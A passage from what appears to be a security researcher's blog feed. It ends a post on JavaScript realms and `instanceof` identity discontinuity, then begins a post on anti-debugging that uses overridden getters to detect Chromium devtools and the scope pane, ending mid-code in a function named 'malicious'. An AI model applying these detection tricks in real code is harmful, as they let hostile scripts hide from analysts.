&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;some_iframe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// false&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;some_iframe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt; 
        &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;top_array&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[];&lt;/span&gt; 
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;iframe&amp;gt;&lt;/span&gt; 
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt; 
            &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;iframe_array&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[];&lt;/span&gt; 
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt; 
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// top_array and iframe_array were born in different realms&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getPrototypeOf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;iframe_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getPrototypeOf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;top_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// false&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/Primitive&quot;&gt;Primitives&lt;/a&gt;, however, are identical across realms:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;Infinity&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;some_iframe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;Infinity&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h3 id=&quot;identity-discontinuity&quot;&gt;Identity discontinuity&lt;/h3&gt;
&lt;p&gt;Identity discontinuity is a state that can only be achieved due to the existence of realms as a feature, which helps in emphasizing how unique they are.&lt;/p&gt;
&lt;p&gt;To demonstrate the concept properly we’ll use the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof&quot;&gt;&lt;code&gt;instanceof&lt;/code&gt; operator&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Imagine we have a third party service that creates blue buttons and is loaded via an iframe (for whatever reason), so that the web app consumes its services as follows:&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;blue_buttons_iframe&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createBlueButton&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;button&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;color&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;blue&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;blueButton&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createBlueButton&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;my blue button&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;blueButton&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;instanceof&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;HTMLButtonElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;blue button created does not seem to actually be a button element!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;blueButton&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;With &lt;code&gt;instanceof&lt;/code&gt;, you can tell whether what’s on the left of the operator is an instance of what’s on its right. So for example, since &lt;code&gt;button&lt;/code&gt; elements are instances of the &lt;code&gt;HTMLButtonElement&lt;/code&gt; interface, the result for &lt;code&gt;document.createElement(&apos;button&apos;) instanceof HTMLButtonElement&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;, whereas the result for &lt;code&gt;document.createElement(&apos;div&apos;) instanceof HTMLButtonElement&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt; - because a &lt;code&gt;div&lt;/code&gt; element inherits from &lt;code&gt;HTMLDivElement&lt;/code&gt; and not the &lt;code&gt;HTMLButtonElement&lt;/code&gt;, obviously.&lt;/p&gt;
&lt;p&gt;However, in our example the &lt;code&gt;instanceof&lt;/code&gt; check will return &lt;code&gt;false&lt;/code&gt; and the custom error will be thrown - even though &lt;code&gt;blueButton&lt;/code&gt; inherits from &lt;code&gt;HTMLButtonElement&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;How’s that possible? This happens because inheriting from &lt;code&gt;HTMLButtonElement&lt;/code&gt; in general is not enough to count as an “instance of” - &lt;strong&gt;the tested object must be an instance of the interface from the specific realm it came from in the first place.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The intention of the &lt;code&gt;instanceof&lt;/code&gt; check originally was to make sure that the blue buttons third party service really provided a button element and nothing else, but in reality the blue button is created in a different realm from where the &lt;code&gt;HTMLButtonElement&lt;/code&gt; interface comes from and therefore the &lt;code&gt;instaceof&lt;/code&gt; check will forever return &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The described bug is due to the introduction of identity discontinuity to the code which goes to show how unique are realms and everything they provide.&lt;/p&gt;
&lt;p&gt;Solving identity discontinuity is not always trivial. In the example above, changing the check into &lt;code&gt;blueButton instanceof blue_buttons_iframe.contentWindow.HTMLButtonElement&lt;/code&gt; would have fixed the issue, but that is not a scalable nor a convenient solution.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;In order for an object to be an instance of an interface, the object must be created at/derived from the exact realm of that interface.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;in-summation&quot;&gt;In summation&lt;/h2&gt;
&lt;p&gt;I came up with this content because I couldn’t find any useful, accurate and understandable information on what realms are and what defines them. It was crucial to understand realms fully in order for me to dive deeper into the role of realms in supply chain attacks and security in general - I hope you find this useful as well.&lt;/p&gt;
&lt;p&gt;You can always catch up on my research and development of the field on the &lt;a href=&quot;https://github.com/weizman/awesome-JavaScript-realms-security/&quot;&gt;awesome-JavaScript-realms-security&lt;/a&gt; repo.&lt;/p&gt;
&lt;p&gt;I also recommend you learn more about the &lt;a href=&quot;https://github.com/lavamoat&quot;&gt;LavaMoat 🌋&lt;/a&gt; tool &lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt;Snow-JS ❄️&lt;/a&gt; to further understand the defensive security effort around securing JavaScript realms.&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Javascript Anti Debugging - Abusing Chromium Devtools Scope Pane</title>
   <link href="https://weizman.github.io//2021/09/01/js-anti-debug-2/"/>
   <updated>2021-09-01T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2021/09/01/js-anti-debug-2</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;tl;dr - Abusing the &lt;a href=&quot;https://developers.google.com/web/tools/chrome-devtools/javascript#check-values&quot;&gt;Chromium Devtools Scope Pane&lt;/a&gt; can allow execution of Javascript by the devtools while the main thread is paused by the debugger! I used this trick to create a very powerful &lt;a href=&quot;https://www.npmjs.com/package/debug-tracker-poc&quot;&gt;anti debugging technique library&lt;/a&gt; that tracks the flow of debugging done by the user and changes the flow of execution accordingly - check out the &lt;a href=&quot;https://debug-tracker.ue.r.appspot.com/&quot;&gt;DEMO&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As part of a long term anti debugging techniques research I do (highly recommending you to read the &lt;a href=&quot;https://weizman.github.io/page-js-anti-debug-1/&quot;&gt;first part&lt;/a&gt; of my work if you never did in order to understand the nature of my work), I came across a &lt;a href=&quot;https://x-c3ll.github.io/posts/javascript-antidebugging/&quot;&gt;list of techniques&lt;/a&gt;, and it was &lt;a href=&quot;https://x-c3ll.github.io/posts/javascript-antidebugging/#0x04-devtools-detection-i-chrome-getter&quot;&gt;section 4&lt;/a&gt; which led me to do the research I will present in this article:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;xyz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;div&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;loop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;setInterval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;clear&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;defineProperty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; 
        &lt;span class=&quot;nx&quot;&gt;clearInterval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;loop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Dev Tools detected!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;SOME_FAKE_ID&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This made me wonder about how it works. Let me share with you my understanding:
When you run the code above without opening the devtools, nothing happens. But as soon as you open the devtools, the &lt;code&gt;alert&lt;/code&gt; message pops up.
What happens there, is that the code constantly logs the created &lt;code&gt;div&lt;/code&gt; element to the devtools console.
Once the devtools is asked to log details regarding the element, one of the details it tries to fetch in order to present it is the &lt;code&gt;id&lt;/code&gt; of the element, as it is a very commonly used and an important property.
So normally, if you create a &lt;code&gt;div&lt;/code&gt; element and set it with some id, for calling &lt;code&gt;console.log()&lt;/code&gt; with it you’ll get:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/2-1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But what happened in the code example above, is that the creator of the code overrode the native getter of the &lt;code&gt;id&lt;/code&gt; property of the &lt;code&gt;div&lt;/code&gt; element with a getter of its own, a getter function which when is called claims to know with certainty that the devtools are open.
And that certainty is in fact justified when you think about it. A reference to that &lt;code&gt;div&lt;/code&gt; element is accessible only via the inner scope of function &lt;code&gt;xyz&lt;/code&gt;.
Which means no other code in the website will ever have a reason, nor the possibility to access this &lt;code&gt;div&lt;/code&gt;’s &lt;code&gt;id&lt;/code&gt; property. The only reason it will ever be called is by the devtools because it was logged to the devtools console - and this scenario will only exist when the devtools are open/being opened.
Therefore, it is safe to say that the artificial &lt;code&gt;id&lt;/code&gt; getter will only be called with the opening of the devtools - thus can be a flawless indicator of the devtools being opened!&lt;/p&gt;
&lt;p&gt;This is the last progress I could find online regarding this trick, even though I knew there is a lot of potential in it and that it could be leveraged into creating more powerful capabilities.&lt;/p&gt;
&lt;p&gt;I thought to myself “is the console the only way to get the devtools to call a getter function I control?”. Because if that so, this trick is nice but it can’t serve attackers really - printing to the console or clearing it will be the opposite of what an attacker tries to achieve by using anti debugging techniques - which is hiding. I decided to debug the javascript snippet above and step over each line one step at a time. And then I noticed an unexpected behavior - the alert jumps as soon as I step over the &lt;code&gt;Object.defineProperty&lt;/code&gt; line, without counting on the &lt;code&gt;console.log(div)&lt;/code&gt; line to do the job afterwards. So how is the overridden getter function being called without running the &lt;code&gt;console.log(div)&lt;/code&gt; line? This means the &lt;code&gt;div&lt;/code&gt; element is probably being presented elsewhere in the devtools frame.&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h3 id=&quot;the-a-hrefhttpsdevelopersgooglecomwebtoolschrome-devtoolsjavascriptcheck-valueschromium-devtools-scope-panea&quot;&gt;The &lt;a href=&quot;https://developers.google.com/web/tools/chrome-devtools/javascript#check-values&quot;&gt;Chromium Devtools Scope Pane&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/2-2.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That’s right - our getter is called in order to present the element in the scope pane (on the right) as well as in the console.
Now this is more interesting then before for 2 reasons:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;This means there is a way of using the trick without polluting the console, which is important.&lt;/li&gt;
&lt;li&gt;This means I can control this trick and decide when and in which specific scope the detection is activated! Or in other words, &lt;strong&gt;instead of detecting devtools opening in general, I can use this trick to detect the debugging of a specific scope in my code!&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;malicious&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;detect&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dummy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;/./&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;dummy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;someone is debugging the malicious function!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;SOME_NAME&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dummy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}());&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// do a malicious action&lt;/span&gt;
